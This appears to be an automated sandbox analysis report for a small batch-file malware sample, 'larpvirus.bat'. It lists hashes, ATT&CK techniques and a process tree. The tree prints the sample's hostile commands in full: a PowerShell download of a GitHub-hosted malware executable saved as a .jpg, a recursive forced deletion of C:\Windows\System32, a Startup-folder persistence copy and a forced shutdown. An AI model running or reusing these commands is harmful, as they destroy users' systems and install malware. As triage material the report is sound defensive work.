c7af4ff42a10b28ce7923c1aac6c7cc83f76cd4f14272a6353cc404f76846e93

Analysis

user interaction
yes
max time kernel
26s
max time network
38s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
13/08/2026, 03:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
larpvirus.bat
Size 1KB
Sample260813-eajaeay1c1
SHA256 c7af4ff42a10b28ce7923c1aac6c7cc83f76cd4f14272a6353cc404f76846e93
MD5 b8c8e50acdf89f3b616bf9e52b52f243
SHA1 c6515d3222c246692efcea8c44ca4df19c173cc3
SHA512 1bc3389a196491fd16a2f87e6dec9c682f875450461cbd6fa657aa5a28a57222f4f1a76a39e36741f130ea6b8e3ac0d51e6bce53a6e6c49a68dcf82668571e20
TLSH
T11441323B624CF3963FF04450865258459CA956C9AC40EEE2B3DDA93BD64F62FD27580C
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	5144	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3656	powershell.exe
540	powershell.exe
4680	powershell.exe
2104	powershell.exe
3852	powershell.exe
4924	powershell.exe
5144	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	cmd.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\larpvirus.bat	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\larpvirus.bat	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4308	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1316	msedge.exe

Delays execution with timeout.exe 5 IoCs

defense_evasion

pid	Process
4680	timeout.exe
3020	timeout.exe
736	timeout.exe
3020	timeout.exe
4164	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4924	powershell.exe
4924	powershell.exe
5144	powershell.exe
5144	powershell.exe
3868	powershell.exe
3868	powershell.exe
3656	powershell.exe
3656	powershell.exe
540	powershell.exe
540	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
5064	msedge.exe
5064	msedge.exe
5064	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4924	powershell.exe
Token: SeDebugPrivilege	5144	powershell.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	3656	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5064	msedge.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 4924	4308	cmd.exe	84
PID 4308 wrote to memory of 5144	4308	cmd.exe	86
PID 4308 wrote to memory of 3868	4308	cmd.exe	89
PID 4308 wrote to memory of 3656	4308	cmd.exe	90
PID 4308 wrote to memory of 2508	4308	cmd.exe	91
PID 2508 wrote to memory of 3780	2508	msedge.exe	93
PID 4308 wrote to memory of 5064	4308	cmd.exe	94
PID 4308 wrote to memory of 824	4308	cmd.exe	95
PID 4308 wrote to memory of 5992	4308	cmd.exe	96
PID 4308 wrote to memory of 2652	4308	cmd.exe	97
PID 4308 wrote to memory of 1564	4308	cmd.exe	98
PID 4308 wrote to memory of 2848	4308	cmd.exe	103
PID 5064 wrote to memory of 2208	5064	msedge.exe	104
PID 4308 wrote to memory of 540	4308	cmd.exe	106
PID 5064 wrote to memory of 2572	5064	msedge.exe	107
PID 5064 wrote to memory of 1316	5064	msedge.exe	108
PID 5064 wrote to memory of 2572	5064	msedge.exe	107
PID 5064 wrote to memory of 2572	5064	msedge.exe	107
PID 5064 wrote to memory of 3440	5064	msedge.exe	109
PID 5064 wrote to memory of 3440	5064	msedge.exe	109
PID 5064 wrote to memory of 3896	5064	msedge.exe	110
PID 5064 wrote to memory of 3896	5064	msedge.exe	110
PID 5064 wrote to memory of 864	5064	msedge.exe	111
PID 5064 wrote to memory of 3896	5064	msedge.exe	110
PID 5064 wrote to memory of 864	5064	msedge.exe	111
PID 5064 wrote to memory of 864	5064	msedge.exe	111
PID 5064 wrote to memory of 3628	5064	msedge.exe	113
PID 5064 wrote to memory of 3628	5064	msedge.exe	113
PID 5064 wrote to memory of 3628	5064	msedge.exe	113

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\larpvirus.bat"
1⤵
- Checks computer location settings
- Creates a file in the Startup directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('GET FUCKED BY THE larp VIRUS')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest 'https://github.com/pankoza2-pl/salinewin.exe-Malware/blob/main/old/salinewin00.01.exe' -OutFile 'C:\Users\Admin\Pictures\new_wallpaper.jpg'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Remove-Item -Path ΓÇ£C:\Windows\System32ΓÇ¥ -Recurse -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$code = @'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/watch?v=3nPcoQwp-Ao"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch https://www.youtube.com/watch?v=3nPcoQwp-Ao
    3⤵
    PID:3780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/watch?v=3nPcoQwp-Ao"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e8,0x2ec,0x2f0,0x2e4,0x370,0x7ffe7623c188,0x7ffe7623c194,0x7ffe7623c1a0
    3⤵
    PID:2208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1632,i,2681828731617131781,11093658164421383633,262144 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=2148 /prefetch:2
    3⤵
    PID:2572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1816,i,14893251876792748509,14956271385958471131,524288 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1316
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2564,i,4595151237083783863,1205062045842278090,524288 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=2720 /prefetch:8
    3⤵
    PID:3440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3388,i,11752820353148687566,15933534707731339774,2097152 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=3408 /prefetch:1
    3⤵
    PID:3896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3412,i,12747145691949279169,10541034060617962596,2097152 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=3384 /prefetch:1
    3⤵
    PID:864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4280,i,16824798430563537083,6879707266754915186,2097152 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:1
    3⤵
    PID:3628
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5060,i,7320218677542072473,10381774199864725565,2097152 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:1
    3⤵
    PID:3460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5304,i,15113705673562481045,6081060025484644233,2097152 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:1
    3⤵
    PID:4408
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3388,i,11851161421147439879,2078778993829039413,2097152 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:1
    3⤵
    PID:3920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5644,i,9391400829792819000,12207512279354051360,524288 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:8
    3⤵
    PID:5804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5784,i,8635634731646811107,6645956371474885439,524288 --field-trial-handle=2236,i,4748075718404230520,14879319676247339949,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:8
    3⤵
    PID:4300
- C:\Windows\system32\cmd.exe
  cmd "GET"
  2⤵
  PID:824
- C:\Windows\system32\cmd.exe
  cmd "FUCKED"
  2⤵
  PID:5992
- C:\Windows\system32\cmd.exe
  cmd "BY"
  2⤵
  PID:2652
- C:\Windows\system32\cmd.exe
  cmd "LARP"
  2⤵
  PID:1564
- C:\Windows\system32\cmd.exe
  cmd "LMAO"
  2⤵
  PID:2848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('GET FUCKED BY THE larp VIRUS')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:540
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('GET FUCKED BY THE larp VIRUS')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4680
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('GET FUCKED BY THE larp VIRUS')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2104
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Speech; (New-Object System.Speech.Synthesis.SpeechSynthesizer).Speak('LMAO')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3852
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4680
- C:\Windows\system32\timeout.exe
  timeout /t 15 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3020
- C:\Windows\system32\shutdown.exe
  shutdown /s /t 0
  2⤵
  PID:4636

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x358 0x4b4
1⤵
PID:3348

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1364

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39cb855 /state1:0x41c64e6d
1⤵
PID:4940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b7b4e009cc2014dcd16a96e3d31299b461ffc7dcc738c659b081017eb1d0b33a
MD5 d2e97b1d952c168f74523ccdffbad67d
SHA1 6e6b906a5f121bc36fc3cd90320f96ddfb914d78
SHA512 bbe6c91001149f11a3d16c657ec5f42f5da6b549f9598ce758a0244bf976ffe5cece8f8b265f2c876694f24cb53085caa98543c89a6b1af0777dd8c2379ca587
TLSH
T12651DB313275B1E489163F47192819C063BF8355FA98AF5CB65C521ED92B40B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9e9b606cfbfc7b0fcbfab1ff9a90d94ddcf0c4033903cc47f13cbcd8bcac95cc
MD5 66bd1dbef8b4df50e7a09a2d2848fb79
SHA1 69983a576369225e69f3c4e38eef011e7e436249
SHA512 7f8546014287d3ced2b59766b273c8d8981aee3ef643630332615e594a89f92a95f1ce112c2fa889b0e249a10643792bfc57043bfc523d6ada97b8bc7d6e7d6c
TLSH
T17CD080776B0BF411E35D5131D503C75127BE507179625723F158C41D99B41D697C51C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 35cc5409a0e92c7b1f173401d1114c9d5fdc977752a8e45ce9068d8101c9a651
MD5 4177a98ec95c7b8511089a1be66e9e7b
SHA1 523d632928047252508b7d45169327ef4523179e
SHA512 d9e67625f1cfcaf9b90149a3ed0ce8899f43e93e14c729f7cf114adedf8a6a345c93240cebfa58351038924578a437d9d7144c7dcd826b1b8892dc523920e947
TLSH
T17AD08077670FF411E36D5131D503C75117AE547179625723F118C40D99741D693C51C2
MD5 SHA1 SHA512 TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 41604c60167584b56f2b32e732700ef44acf0b10a29df39b3170ec11311a246b
MD5 c6df79bdd7088a1bd0c1068944b94e90
SHA1 24605c171fe258eae70905ce2dac1a1d3ce83968
SHA512 e345461a73a9ae579751f1968d71b2775959c564d18ceb9046742a6949d02fbfc9141508d8b48832844eb4d40b89315d9f8cd22748e5edc920f776b2b5a4d76d
SSDEEP 192:sxZCRiyMqZjK1Ml8Mi1/ftsHFuo43zgXzodpy9gHW6+WNne0fBzMrjMDlreIgZzJ:sxZCxq1/ftsHc1t7HbtfoslCZl
TLSH
T10672D916A9389A7BCDD7E219F944BF53D3F8552391805E489AFC8B1C04E7ADD211382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 ef1794664678dc3647698fe11c00883b416b9deddf43811e9c0f1d47183c11f7
MD5 6466bc5f2d72cf4c655daee2a54fdd6f
SHA1 1902e255ad30420b5e9e084103c1244341f3b974
SHA512 468b03d78e718262b9a11b96d38b1dfa9c25f10724eb38d62d45813493e6f2890bbe2198a8d936cd9d5afe4de322d3fed68253b5628855c0808d1f1cd3666167
SSDEEP 768:/Zk4Pfe7pLuLnXDWvXt4h8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3eHiLl42vJ4roJ:/Zk4PfeEnXDWvXt4hu1ja2eHiL+QJDW6
TLSH
T15BF2FA3B680CCB7E4F804E9CEC2ABE9A6EE8018F5698C95447FA444C03C76EB51165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 214B
SHA256 2881ab5658c62b69458decff23610b3e7adb06063454b1dced33999c3319f5e1
MD5 ab431b5547ead56ea786b909cfedf602
SHA1 2b44c354d46ed09195b851f445356b3729904484
SHA512 352cbb522e21e9249e8e1de76fb1e1ddefb9c3f7f4521cba60aae9eb7765acabea02c88472f8a9699458e304099c0e75a60a364210de00b03a55a7ccf087c983
TLSH
T116D0A7D76530A9A62938BE882038145DCA2F5E08C488CC98E806B18620B4702C002865
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 130B
SHA256 d5069fc128608b1382e10f24c98ef07659943e1b1c1971cc69884c28d8ccdbb6
MD5 4b0c34511285e03c339e80a397a5f0f2
SHA1 3a91fe4e5f0c0c6fc961abd85b58a8bff5be3bd5
SHA512 895a31c134d23a9f3d31d5fcc818a0bbd01e4b7ebc0f3e2aa6fadd0eb748b43ae5a6c19b57bd168b997031e5892fc71db0a9f9507f996703d77f176429874765
TLSH
T1F4C09BD7191096D74534FFC8303D665DDA1F874CC4D4CCFDF449914620755138403D25
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe589e9c.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt~RFe589e9c.TMP
Size 137B
SHA256 2fa7a29c847536a0041b773636ef7f301a1388b315b6eb27b171cbd697a8e421
MD5 d6063539688ad1c7a86fb39d8c6056bf
SHA1 8ca571e6f4e2fecfbee5d6b113ea00ace838be8d
SHA512 f8a49aa988f0e9183a33a93eb6731c9db0625d7eb9907038af2ff47212dad1f823b4087b9c02e4a87efa61842ecabafdcc2308aa5a7a2bbf4302ea0e629e6047
TLSH
T1EFC04CD7192056964631ADC46039664DD51F8E5988C4CCE8B44AB14670755138401925
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 31e6627279de78920dc04498ebd35a401e39323569fe170ad157973ced8e3d97
MD5 426f81775507dd67ed45a36fdd8620b4
SHA1 f992db6bb39ff7566e3bbf3c6e05d4a8086d5a9a
SHA512 3ab241167fca9177063ea0f96ef34eb8de8a4aab7fc55d599f6e55abda222638873a43ea9c8dc4c3d504d49b3c7160548fed330c04e2413f7f0f2f5661f15338
SSDEEP 384:nm1iF9CcmyWCs3sNU8TUNTUlImkrzoNmfGvwBfgVBaWXjQ16yLhkP+lFYS/p1l90:m8Fccps3fwgl8NVMyQ1NhkoFYS/Frq
TLSH
T1C2B24B35EC94CABBECE64F8AAB4A7A47DEE001A3C59C49C4DAD81E1D009B19D1347C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 36d26a5f159c48c1a6e21a83747be4be9fcb5507084bdb112cd4dc83329242a7
MD5 e6d2bb04cdc16dcef4f7209994c6a25c
SHA1 0042c557e7ad232a5b30a2c0914fe2652c6bdea1
SHA512 c11a74eceae45511c27237026c4274ef286a63102a55a3a0dde59f7e2e1b3df9841f7955ae7b518d9da2ca927434765f53faffed257792586f247bb82bf12d84
SSDEEP 384:n1iF9CcmyWCs3sN58TUNTUlImkrzoNmy+/wBfgVBaWXEQlQ6FhkP+lFYS/p1l9HU:8Fccps3+wglVdVMfAQ6FhkoFYS/Frq
TLSH
T1C4C26D31DC94CE7BECE64B99BB8A3A87DEE001A3C48C8ED4DAD81D1D009B19D174BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 1eeb4929aa185a491ba30dc3a1706cfd09b28ab3bd44d1fe3e88f29e87233e3e
MD5 c69bb9c5ad5c1822f83534117d106be5
SHA1 9030b5cf3f02eb6be90acf7817dde189a50f9ecd
SHA512 b5d8a3f6d080ea851661c05a79d04434c3226d1ba1c6ccf8ab6f034d33f042c81ecb8a0ea01069350e708b9fe6ed8f05cf701129ce879d616da447df8ef1584e
SSDEEP 384:n4iF9CcmyWCs3sNt8TUNTUlI4krzoNmcbOwBfgVBaWXEQlQ6FhkP+lFYS/p1l9HU:DFccps3uwgb6+VMfAQ6FhkoFYS/Frq
TLSH
T1ADC26D31DC94DE7BECE65B99BB4A3A83DEE011A3C48C8ED4DAD91E1C009B19D174BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download